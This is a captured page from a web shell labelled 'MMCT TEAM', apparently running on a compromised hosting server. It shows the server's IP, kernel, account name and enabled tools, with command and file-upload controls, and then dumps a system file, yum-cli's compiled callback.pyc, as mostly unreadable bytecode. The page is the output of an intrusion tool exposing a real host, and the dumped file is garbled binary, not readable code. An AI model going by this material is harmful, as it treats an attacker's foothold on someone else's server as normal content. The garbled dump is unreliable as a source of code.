MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.141.198.147
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /../sys/../usr/share/yum-cli/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../sys/../usr/share/yum-cli/callback.pyc
�
�v_c@sgdZddlZddlZddlZddlZddlmZddlTddd��YZdS(s=
Progress display callback classes for the yum command line.
i����N(t_(t*tRPMInstallCallbackcBsSeZdZdd�Zd�Zd�Zd�Zed�Zd�Z	d�Z
RS(	sCYum command line callback class for callbacks from the RPM library.icCs'||_i|_d|_d|_g|_d|_d|_d|_d|_	t
jd�|_t
|_itd�t6td�t6td�t6td�t6td�t6td�t6|_itd	�t6td
�t6td�t6td�t6td�t6td�t6|_d|_dS(Nit#is"yum.filelogging.RPMInstallCallbacktUpdatingtErasingt
Installingt	ObsoletedtUpdatedtErasedt	Installed(toutputtcallbackfilehandlest
total_actionsttotal_installedtinstalled_pkg_namest
total_removedtmarktmarkstNonetlastmsgtloggingt	getLoggertloggertFalsetfilelogRt	TS_UPDATEtTS_ERASEt
TS_INSTALLtTS_TRUEINSTALLtTS_OBSOLETEDt
TS_OBSOLETINGt	myprocesst
mypostprocessttsInfo(tselfR((s/usr/share/yum-cli/callback.pyt__init__ s0										







cCsN|d}|dkrd}nt|�}|d|d||d|dfS(Ntepocht0tnametarchtversiontrelease(Rtstr(R#thdrttmpepochR%((s/usr/share/yum-cli/callback.pyt	_dopkgtup<s

	cCs1d|d|d|d|d|df}|S(Ns%s:%s.%s-%s-%sR%R'R)R*R(((R#R,thandle((s/usr/share/yum-cli/callback.pyt_makeHandleCscCs|jr|GHndS(N(R(R#tmsg((s/usr/share/yum-cli/callback.pyt_localprintIs	cCs�tt|j��}d||f}d|d|d}||j|j|jf}|jd|}d||f}d|d}	|r�|	|jt||d�f}
d	|
d
|}n&|	|j|f}
d|
d
|}|S(Ns%s.%ss[%ss/%ss]is%-tsgY@s
  %-10.10s: %-28.28s t s  %-10.10s: %-28.28s (tlenR+R
RRRRtint(R#tpercenttprogresstltsizetfmt_donetdoneRtwidthtfmt_bartbartfmt((s/usr/share/yum-cli/callback.pyt_makefmtMs
"cCs`|j|�\}}}}}|dkrCd||||f}nd|||||f}|S(s5return nice representation of the package for the logR&s%s.%s %s-%ss%s.%s %s:%s-%s(R.(R#R,tntatetvtrtpkg((s/usr/share/yum-cli/callback.pyt
_logPkgString^s
cCsn|tjkr*|dkrj||_qjn@|tjkr<n.|tjkrNn|tjkr�d|_d}|dk	r�|\}}|j|�}t	j
|t	j�}	|	|j|<|j
d7_
|jj|d�|	S|jtd��nx|tjkr�d}|dk	rj|\}}|j|�}t	j|j|�d}	|j|�}
|jjd|
�}x�|D]y}y$|j|j}
|j|j}Wntk
r�nX|jrs|j|�}d||f}|jj|�qsqsWqjnt|tjkr&|dk	rjt |�t d�kr�|dkr>d}n|d	|}|j!r t"j#j$�r |j%|�}|td
�|f}||kr�|d}n||jkr�t"j#j&|�t"j#j'�||_q�q q#|\}}|dkrd}n|d	|}|j|�}
|jjd|
�}x�|D]�}y|j|j}
Wn/tk
r�}td�|j|dfGHq:X|j!r:t"j#j$�s�||kr:|j%|�}||
|df}||jkrt"j#j&|�t"j#j'�||_n||krd
GHqq:q:WqjnD|tj(kr8n2|tj)krJn |tj*kr4|j+d7_+|jr�||jkr�td|�}|jj|�n|j!rjt"j#j$�rj||jkr�td�}
ntd�}
d}|j%|t,�}||
|f}t"j#j&|d�t"j#j'�qjn6|tj-krFn$|tj.krXn|tj/krjndS(s�Handle callbacks from the RPM library.

        :param what: number identifying the type of callback
        :param bytes: the number of bytes associated with the
           callback; the exact meaning depends on the type of 
           the callback.  For example, for a RPMCALLBACK_INST_PROGRESS
           callback, bytes will represent the current amount of work done
        :param total: the total amount of work associated with the
           callback; the exact meaning depends on the type of the
           callback. For example, *total* may represent the total
           number of transactions in a transaction set
        :param h: a package object or string identifying the package
           involved in the callback
        :param user: unused
        iiR'sNo header - huh?itpkgtups%s: %stldt	Repackages
s&Error: invalid output state: %s for %sR4s
Erased: %stRemovingtCleanupidN(0trpmtRPMCALLBACK_TRANS_STARTR
tRPMCALLBACK_TRANS_PROGRESStRPMCALLBACK_TRANS_STOPtRPMCALLBACK_INST_OPEN_FILERRR0tostopentO_RDONLYRRRtappendR2RtRPMCALLBACK_INST_CLOSE_FILEtcloseR.R"t
getMembersR toutput_stateR!tKeyErrorRRHRtinfotRPMCALLBACK_INST_PROGRESSttypeRtsyststdouttisattyRAtwritetflushtRPMCALLBACK_UNINST_STARTtRPMCALLBACK_UNINST_PROGRESStRPMCALLBACK_UNINST_STOPRRtRPMCALLBACK_REPACKAGE_STARTtRPMCALLBACK_REPACKAGE_STOPtRPMCALLBACK_REPACKAGE_PROGRESS(R#twhattbytesttotalthtuserR,trpmlocR/tfdRIttxmbrsttxmbrtprocesst	processedtpkgrepR1R7R@RDtlogmsg((s/usr/share/yum-cli/callback.pytcallbackhs�	


		

	
	$
(t__name__t
__module__t__doc__R$R.R0R2tTrueRARHRw(((s/usr/share/yum-cli/callback.pyRs				
((	RzRNRSR_RtyumRt
yum.constantsR(((s/usr/share/yum-cli/callback.pyt<module>s


MMCT - 2023